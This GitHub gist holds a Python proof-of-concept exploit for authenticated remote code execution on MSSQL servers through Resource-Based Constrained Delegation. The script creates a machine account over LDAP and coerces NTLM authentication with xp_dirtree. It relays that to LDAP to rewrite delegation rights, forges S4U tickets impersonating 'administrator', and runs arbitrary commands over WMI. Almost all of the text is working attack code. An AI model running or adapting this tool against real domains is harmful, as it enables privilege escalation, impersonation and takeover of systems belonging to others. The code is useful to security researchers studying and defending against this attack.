Skip to content

Instantly share code, notes, and snippets.

@slayerlab
Forked from 3xocyte/bad_sequel.py
Created March 6, 2020 17:36
Show Gist options
  • Save slayerlab/4a1d02adfa9f47630dd97f9aba3ada46 to your computer and use it in GitHub Desktop.
Save slayerlab/4a1d02adfa9f47630dd97f9aba3ada46 to your computer and use it in GitHub Desktop.
PoC MSSQL RCE exploit using Resource-Based Constrained Delegation
#!/usr/bin/env python
# for more info: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
# this is a rough PoC
# requirements for RCE:
# - the attacker needs to either have or create an object with a service principal name
# - the MSSQL server has to be running under the context of System/Network Service/a virtual account
# - the MSSQL server has the WebClient service installed and running (not default on Windows Server hosts)
# - NTLM has to be in use
# notes on this PoC:
# - LDAPS relaying has not been implemented
# - a command line switch for doing the initial connection for LDAP has also not yet been implemented
# - mssql has to be listening on a TCP port
# - you need to either add a dotless ADIDNS record for your relay host, or run Responder or similar tool
# - if the account you've got doesn't have an SPN, it needs to have the ability to add machine accounts (by default, domain users can join up to 10;
# the attribute to check is ms-DS-MachineAccountQuota, but some users have delegated rights over computer objects and such, so it really depends
# on which account you're using, and the quickest check is to just try)
# - it's just a PoC
# - it probably has bugs
# - it might fry everything and wasn't written for production use
# - the author is not liable for how others use this code
import os
import sys
import string
import SimpleHTTPServer
import SocketServer
import base64
import random
import struct
import ConfigParser
import string
import argparse
import datetime
from time import sleep
from argparse import *
from threading import Thread
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket import tds
from impacket.ldap import ldaptypes
from impacket.spnego import SPNEGO_NegTokenResp
from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile
from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS
from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMAuthChallengeResponse
from impacket.krb5 import constants
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5
from impacket.krb5.types import Principal, KerberosTime, Ticket
from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1, EncTGSRepPart
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from binascii import hexlify, unhexlify
from struct import unpack
from ldap3.operation import bind
from ldap3 import Server, Connection, ALL, MODIFY_REPLACE, MODIFY_ADD, SUBTREE, NTLM
from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM, RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED
# adapted from @agsolino, code: https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py
class MSSQLCommand:
def __init__(self, target='', port=1433, username='', password='', domain='', windows=True, hashes=None, aesKey=None, kdcHost=None, doKerberos=False):
self.target = target
self.port = port
self.username = username
self.password = password
self.domain = domain
self.windows_auth = windows
self.k = doKerberos
self.mssql_connection = None
self.conn = False
self.dc_ip = kdcHost
if hashes:
self.hashes = '00000000000000000000000000000000:%s' % hashes
else:
self.hashes = None
def run_command(self, command, show_output=False):
self.mssql_login()
if self.conn == True:
print "[*] executing relay trigger"
self.mssql_connection.sql_query(command)
if show_output == True:
self.mssql_connection.printReplies()
self.mssql_connection.printRows()
print "[+] mssql query complete"
else:
print "[!] mssql authentication failed"
self.mssql_connection.disconnect()
def mssql_login(self):
self.mssql_connection = tds.MSSQL(self.target, self.port)
self.mssql_connection.connect()
print "[*] logging in to mssql instance..."
try:
self.conn = self.mssql_connection.login(None, self.username, self.password, self.domain, self.hashes, self.windows_auth)
except Exception, e:
print "[!] mssql authentication failed exception: " + str(e)
# checks if the provided domain credentials have SPN(s); if not, attempt to create a machine account
class SetupAttack:
def __init__(self, username='', domain='', password='', nthash = None, machine_username = '', machine_password = '', server_hostname = '', dn='', dc_ip='', use_ssl=False):
self.username = username
self.domain = domain
self.dn = dn
self.machine_username = machine_username
self.machine_password = machine_password
self.encoded_password = None
self.server_hostname = server_hostname
self.dc_ip = dc_ip
self.use_ssl = use_ssl
self.ldap_connection = None
if nthash:
self.password = '00000000000000000000000000000000:%s' % nthash
else:
self.password = password
def get_unicode_password(self):
password = self.machine_password
self.encoded_password = '"{}"'.format(password).encode('utf-16-le')
def ldap_login(self):
print "[*] logging in to ldap server"
if self.use_ssl == True:
s = Server(self.dc_ip, port = 636, use_ssl = True, get_info = ALL)
else:
s = Server(self.dc_ip, port = 389, get_info = ALL)
domain_user = "%s\\%s" % (self.domain, self.username) # we're doing an NTLM login
try:
self.ldap_connection = Connection(s, user = domain_user, password = self.password, authentication=NTLM)
if self.ldap_connection.bind() == True:
print "[+] ldap login as %s successful" % domain_user
except Exception, e:
print "[!] unable to connect: %s" % str(e)
sys.exit()
# I put standalone code for this here: https://gist.github.com/3xocyte/8ad2d227d0906ea5ee294677508620f5
def create_account(self):
if self.machine_username == '':
self.machine_username = ''.join(random.choice(string.uppercase + string.digits) for _ in range(8))
if self.machine_username[-1:] != "$":
self.machine_username += "$"
if self.machine_password == '':
self.machine_password = ''.join(random.choice(string.uppercase + string.lowercase + string.digits) for _ in range(25))
self.get_unicode_password()
dn = "CN=%s,CN=Computers,%s" % (self.machine_username[:-1], self.dn)
dns_name = self.machine_username[:-1] + '.' + self.domain
self.ldap_connection.add(dn, attributes={
'objectClass':'Computer',
'SamAccountName': self.machine_username,
'userAccountControl': '4096',
'DnsHostName': dns_name,
'ServicePrincipalName': [
'HOST/' + dns_name,
'RestrictedKrbHost/' + dns_name,
'HOST/' + self.machine_username[:-1],
'RestrictedKrbHost/' + self.machine_username[:-1]
],
'unicodePwd':self.encoded_password
})
print "[+] added machine account %s with password %s" % (self.machine_username, self.machine_password)
def check_spn(self):
search_filter = '(samaccountname=%s)' % self.username
self.ldap_connection.search(search_base = self.dn, search_filter=search_filter, search_scope=SUBTREE, attributes=['servicePrincipalName'])
if self.ldap_connection.entries[0]['servicePrincipalName']:
return True
else:
return False
def execute(self):
self.ldap_login()
if self.check_spn():
print "[+] provided account has an SPN"
self.machine_username = self.username
self.machine_password = self.password
else:
self.create_account()
if self.server_hostname == '':
self.server_hostname = ''.join(random.choice(string.uppercase + string.digits) for _ in range(8))
# was going to add an ADIDNS A record but this script is already a bit long for a PoC
self.ldap_connection.unbind()
return self.machine_username, self.machine_password, self.server_hostname
class LDAPRelayClientException(Exception):
pass
# adapted from @_dirkjan and @agsolino, code: https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py
class LDAPRelayClient:
def __init__(self, extendedSecurity=True, dc_ip='', target='', domain='', target_hostname='', username='', dn=''):
self.extendedSecurity = extendedSecurity
self.negotiateMessage = None
self.authenticateMessageBlob = None
self.server = None
self.targetPort = 389
self.dc_ip = dc_ip
self.domain = domain
self.target = target
self.target_hostname = target_hostname
self.username = username
self.dn = dn
# rbcd attack stuff
def get_sid(self, ldap_connection, domain, target):
search_filter = "(sAMAccountName=%s)" % target
try:
ldap_connection.search(self.dn, search_filter, attributes = ['objectSid'])
target_sid_readable = ldap_connection.entries[0].objectSid
target_sid = ''.join(ldap_connection.entries[0].objectSid.raw_values)
except Exception, e:
print "[!] unable to to get SID of target: %s" % str(e)
return target_sid
def add_attribute(self, ldap_connection, user_sid):
# "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<sid>"
security_descriptor = (
"\x01\x00\x04\x80\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x24\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00"
"\x20\x02\x00\x00\x02\x00\x2C\x00\x01\x00\x00\x00\x00\x00\x24\x00"
"\xFF\x01\x0F\x00"
)
# build payload
payload = security_descriptor + user_sid
# build LDAP query
if self.target_hostname.endswith("$"): # assume computer account
dn_base = "CN=%s,CN=Computers," % self.target_hostname[:-1]
else:
dn_base = "CN=%s,CN=Users," % self.target_hostname
dn = dn_base + self.dn
print "[*] adding attribute to object %s..." % self.target_hostname
try:
if ldap_connection.modify(dn, {'msds-allowedtoactonbehalfofotheridentity':(MODIFY_REPLACE, payload)}):
print "[+] added msDS-AllowedToActOnBehalfOfOtherIdentity to object %s for object %s" % (self.target_hostname, self.username)
else:
print "[!] unable to modify attribute"
except Exception, e:
print "[!] unable to assign attribute: %s" % str(e)
def killConnection(self):
if self.session is not None:
self.session.socket.close()
self.session = None
def initConnection(self):
print "[*] initiating connection to ldap://%s:%s" % (self.dc_ip, self.targetPort)
self.server = Server("ldap://%s:%s" % (self.dc_ip, self.targetPort), get_info=ALL)
self.session = Connection(self.server, user="a", password="b", authentication=NTLM)
self.session.open(False)
return True
def sendNegotiate(self, negotiateMessage):
negoMessage = NTLMAuthNegotiate()
negoMessage.fromString(negotiateMessage)
self.negotiateMessage = str(negoMessage)
with self.session.connection_lock:
if not self.session.sasl_in_progress:
self.session.sasl_in_progress = True
request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY')
response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
result = response[0]
try:
sicily_packages = result['server_creds'].decode('ascii').split(';')
except KeyError:
raise LDAPRelayClientException('[!] failed to discover authentication methods, server replied: %s' % result)
if 'NTLM' in sicily_packages: # NTLM available on server
request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self)
response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
result = response[0]
if result['result'] == RESULT_SUCCESS:
challenge = NTLMAuthChallenge()
challenge.fromString(result['server_creds'])
return challenge
else:
raise LDAPRelayClientException('[!] server did not offer ntlm authentication')
#This is a fake function for ldap3 which wants an NTLM client with specific methods
def create_negotiate_message(self):
return self.negotiateMessage
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
token = respToken2['ResponseToken']
print "unpacked response token: " + str(token)
else:
token = authenticateMessageBlob
with self.session.connection_lock:
self.authenticateMessageBlob = token
request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None)
response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
result = response[0]
self.session.sasl_in_progress = False
if result['result'] == RESULT_SUCCESS:
self.session.bound = True
self.session.refresh_server_info()
print "[+] relay complete"
print "[*] running RBCD attack..."
user_sid = self.get_sid(self.session, self.domain, self.username)
self.add_attribute(self.session, user_sid)
return True, STATUS_SUCCESS
else:
print "result is failed"
if result['result'] == RESULT_STRONGER_AUTH_REQUIRED:
raise LDAPRelayClientException('[!] ldap signing is enabled')
return None, STATUS_ACCESS_DENIED
#This is a fake function for ldap3 which wants an NTLM client with specific methods
def create_authenticate_message(self):
return self.authenticateMessageBlob
#Placeholder function for ldap3
def parse_challenge_message(self, message):
pass
# todo
class LDAPSRelayClient(LDAPRelayClient):
PLUGIN_NAME = "LDAPS"
MODIFY_ADD = MODIFY_ADD
def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ):
LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
def initConnection(self):
self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)
self.session = Connection(self.server, user="a", password="b", authentication=NTLM)
self.session.open(False)
return True
# adapted from @_dirkjan and @agsolino, code: https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/ntlmrelayx/servers/httprelayserver.py
class HTTPRelayServer(Thread):
class HTTPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
def __init__(self, server_address, RequestHandlerClass):
SocketServer.TCPServer.__init__(self,server_address, RequestHandlerClass)
class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
_dc_ip = ''
_domain = ''
_target = ''
_target_hostname = ''
_username = ''
_dn = ''
def __init__(self, request, client_address, server):
self.protocol_version = 'HTTP/1.1'
self.challengeMessage = None
self.client = None
self.machineAccount = None
self.machineHashes = None
self.domainIp = None
self.authUser = None
print "[*] got connection from %s" % (client_address[0])
SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)
def handle_one_request(self):
SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self)
def log_message(self, format, *args):
return
def do_REDIRECT(self):
rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
self.send_response(302)
self.send_header('WWW-Authenticate', 'NTLM')
self.send_header('Content-type', 'text/html')
self.send_header('Connection','close')
self.send_header('Location','/%s' % rstr)
self.send_header('Content-Length','0')
self.end_headers()
def do_OPTIONS(self):
messageType = 0
if self.headers.getheader('Authorization') is None:
self.do_AUTHHEAD(message = 'NTLM')
pass
else:
typeX = self.headers.getheader('Authorization')
try:
_, blob = typeX.split('NTLM')
token = base64.b64decode(blob.strip())
except:
self.do_AUTHHEAD()
messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
if messageType == 1:
if not self.do_ntlm_negotiate(token):
self.do_REDIRECT()
elif messageType == 3:
authenticateMessage = NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
print "[+] relaying account %s\\%s" % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))
if not self.do_ntlm_auth(token, authenticateMessage):
if authenticateMessage['user_name'] != '':
self.do_REDIRECT()
else:
#If it was an anonymous login, send 401
self.do_AUTHHEAD('NTLM')
else:
self.send_response(404)
self.send_header('WWW-Authenticate', 'NTLM')
self.send_header('Content-type', 'text/html')
self.send_header('Content-Length','0')
self.send_header('Connection','close')
self.end_headers()
return
def do_AUTHHEAD(self, message = ''):
self.send_response(401)
self.send_header('WWW-Authenticate', message)
self.send_header('Content-type', 'text/html')
self.send_header('Content-Length','0')
self.end_headers()
# relay
def do_ntlm_negotiate(self,token):
try:
self.client = LDAPRelayClient(dc_ip=self._dc_ip, target=self._target, domain=self._domain, target_hostname=self._target_hostname, username=self._username, dn=self._dn)
self.client.initConnection()
clientChallengeMessage = self.client.sendNegotiate(token)
except Exception, e:
print "[*] connection to ldap server %s failed" % self._dc_ip
print str(e)
return False
self.do_AUTHHEAD(message = 'NTLM '+base64.b64encode(clientChallengeMessage.getData()))
return True
def do_ntlm_auth(self,token,authenticateMessage):
client_session, errorCode = self.client.sendAuth(token)
if errorCode == STATUS_SUCCESS:
return client_session
else:
return False
def __init__(self, domain='', dc_ip='', username='', target='', target_hostname='', dn='', port=80):
Thread.__init__(self)
self.daemon = True
self.domain = domain
self.dc_ip = dc_ip
self.username = username
self.target = target
self.target_hostname = target_hostname
self.dn = dn
self.port = int(port)
def run(self):
httpd = self.HTTPServer(("", self.port), self.HTTPHandler)
self.HTTPHandler._dc_ip = self.dc_ip
self.HTTPHandler._domain = self.domain
self.HTTPHandler._username = self.username
self.HTTPHandler._target = self.target
self.HTTPHandler._target_hostname = self.target_hostname
self.HTTPHandler._dn = self.dn
thread = Thread(target=httpd.serve_forever)
thread.daemon = True
thread.start()
# by @agsolino and @elad_shamir see: https://github.com/SecureAuthCorp/impacket/pull/560
class GETST:
def __init__(self, target, password, domain, options):
self.__password = password
self.__user= target
self.__domain = domain
self.__aesKey = options.aesKey
self.__options = options
self.__kdcHost = options.dc_ip
self.__saveFileName = None
self.__lmhash = ''
self.__nthash = ''
if options.hashes is not None:
self.__lmhash = '00000000000000000000000000000000'
self.__nthash = options.hashes
def saveTicket(self, ticket, sessionKey):
print '[*] saving ticket: %s' % (self.__saveFileName + '.ccache')
ccache = CCache()
ccache.fromTGS(ticket, sessionKey, sessionKey)
ccache.saveFile(self.__saveFileName + '.ccache')
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey):
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray += self.__options.impersonate + self.__domain + 'Kerberos'
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array S4UByteArray.
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
paForUserEnc = PA_FOR_USER_ENC()
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
paForUserEnc['userRealm'] = self.__domain
paForUserEnc['cksum'] = noValue
paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
paForUserEnc['cksum']['checksum'] = checkSum
paForUserEnc['auth-package'] = 'Kerberos'
encodedPaForUserEnc = encoder.encode(paForUserEnc)
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.canonicalize.value )
reqBody['kdc-options'] = constants.encodeFlags(opts)
serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value)))
print '[*] requesting s4U2self'
message = encoder.encode(tgsReq)
r = sendReceive(message, self.__domain, None)
tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
################################################################################
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
# So here I have a ST for me.. I now want a ST for another service
# Extract the ticket from the TGT
ticketTGT = Ticket()
ticketTGT.from_asn1(decodedTGT['ticket'])
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticketTGT.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# Add resource-based constrained delegation support
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = 167
tgsReq['padata'][1]['padata-value'] = "3009a00703050010000000".decode("hex")
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
# This specified we're doing S4U
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
seq_set(reqBody, 'sname', service2.components_to_asn1)
reqBody['realm'] = self.__domain
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
int(cipher.enctype)
)
)
message = encoder.encode(tgsReq)
print '[+] s4u2self complete'
print '[*] requesting s4U2proxy'
r = sendReceive(message, self.__domain, None)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, str(cipherText))
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
newSessionKey = Key(encTGSRepPart['key']['keytype'], str(encTGSRepPart['key']['keyvalue']))
# Creating new cipher based on received keytype
cipher = _enctype_table[encTGSRepPart['key']['keytype']]
print '[+] s4U2proxy complete'
return r, cipher, sessionKey, newSessionKey
def run(self):
userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
print '[*] getting tgt for %s' % userName
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(self.__lmhash), unhexlify(self.__nthash),
self.__aesKey,
self.__kdcHost)
print '[*] impersonating %s' % self.__options.impersonate
tgs, copher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey)
self.__saveFileName = 'evil'
self.saveTicket(tgs,oldSessionKey)
# adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
def wmi_exec(target, dc_ip, command):
dcom = DCOMConnection(target, oxidResolver=True, doKerberos=True, kdcHost=dc_ip)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process,_ = iWbemServices.GetObject('Win32_Process')
win32Process.Create(command, unicode('C:\\'), None)
dcom.disconnect()
except Exception, e:
print "[!] exception raised: %s" % str(e)
sys.exit()
if __name__ == '__main__':
parser = ArgumentParser(add_help = True, description = "MSSQL RCE PoC (@3xocyte and @elad_shamir)")
parser.add_argument('-d', '--domain', action="store", default='', help='valid fully-qualified domain name', required=True)
parser.add_argument('-u', '--username', action="store", default='', help='valid domain username', required=True)
password_or_ntlm = parser.add_mutually_exclusive_group(required=True)
password_or_ntlm.add_argument('-p', '--password', action="store", default='', help='valid password')
password_or_ntlm.add_argument('-n', '--nthash', action="store", default='', help='valid ntlm hash')
parser.add_argument('--mssql-port', action="store", default=1433, help='mssql server port')
parser.add_argument('--mssql-user', action="store", default='', help='mssql server username (if different from domain account)')
parser.add_argument('--mssql-pass', action="store", default='', help='mssql server password (if different from domain account)')
parser.add_argument('--machine-user', action="store", default='', help="machine account name (if provided domain account has no SPN and a machine account will be created)")
parser.add_argument('--machine-pass', action="store", default='', help="machine account password (if provided domain account has no SPN and a machine account will be created)")
parser.add_argument('--server-hostname', action="store", default='', help="hostname to use for the relaying server (ie, this machine); this should adhere to 'The Dot rule' to elicit NTLM authentication")
parser.add_argument('--server-port', action="store", default=80, help="port to use for the relaying server (ie, this machine)")
parser.add_argument('dc', help='ip address or hostname of dc')
parser.add_argument('target_hostname', help='target mssql server samaccountname')
parser.add_argument('target', help='target mssql server fqdn')
parser.add_argument('command', help='command to execute over WMI')
options = parser.parse_args()
print """
_| _| _|
_|_|_| _|_|_| _|_|_| _|_|_| _|_| _|_|_| _| _| _|_| _|
_| _| _| _| _| _| _|_| _|_|_|_| _| _| _| _| _|_|_|_| _|
_| _| _| _| _| _| _|_| _| _| _| _| _| _| _|
_|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _|
_|
_|
"""
print "mssql authenticated remote code execution exploit (@3xocyte and @elad_shamir) #shenanigans #wontfix\n"
# get dn
dn = ''
domain_parts = options.domain.split('.')
for i in domain_parts:
dn += 'DC=%s,' % i
dn = dn[:-1]
if '.' in options.server_hostname:
print '[!] server hostname contains periods and the NTLM relay may fail'
attack_setup = SetupAttack(username=options.username, domain=options.domain, password=options.password, nthash=options.nthash, dn=dn,
machine_username=options.machine_user, machine_password=options.machine_pass, server_hostname=options.server_hostname, dc_ip=options.dc, use_ssl=True)
spn_username, spn_password, server_hostname = attack_setup.execute()
print "[*] starting relay server on port %s" % options.server_port
s = HTTPRelayServer(domain = options.domain, dc_ip=options.dc, username=spn_username, target=options.target, target_hostname=options.target_hostname, dn=dn, port = options.server_port)
s.run()
sleep(2)
if options.mssql_user and options.mssql_pass:
print "[*] using provided mssql credentials"
mssql_trigger = MSSQLCommand(target=options.target, port=options.mssql_port, username=options.mssql_user, password=options.mssql_pass, windows=False)
else:
mssql_trigger = MSSQLCommand(target=options.target, port=options.mssql_port, username=options.username, password=options.password, hashes=options.nthash, domain=options.domain, kdcHost=options.dc)
mssql_command = "EXEC MASTER.sys.xp_dirtree '\\\\%s@%s\\share', 1, 1;" % (server_hostname, options.server_port)
mssql_trigger.run_command(mssql_command)
print "[*] executing s4u2pwnage"
identity = '%s/%s:%s' % (options.domain, spn_username, spn_password)
spn = 'cifs/%s' % options.target
if spn_username == options.username and options.nthash:
rbcd_args = Namespace(aesKey=None, dc_ip=options.dc, debug=False, hashes=options.nthash, impersonate='administrator', k=False, no_pass=False, spn=spn)
else:
rbcd_args = Namespace(aesKey=None, dc_ip=options.dc, debug=False, hashes=None, impersonate='administrator', k=False, no_pass=False, spn=spn)
do_rbcd_attack = GETST(spn_username, spn_password, options.domain, rbcd_args)
do_rbcd_attack.run()
print '[*] loading ticket into environment'
cwd = os.getcwd()
ticket_location = "%s/evil.ccache" % (cwd)
os.chmod(ticket_location, 0700)
os.environ['KRB5CCNAME'] = ticket_location
command = 'cmd.exe /Q /c %s' % options.command
print '[*] executing "%s" over wmi' % command
wmi_exec(options.target, options.dc, command)
print "[+] complete"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment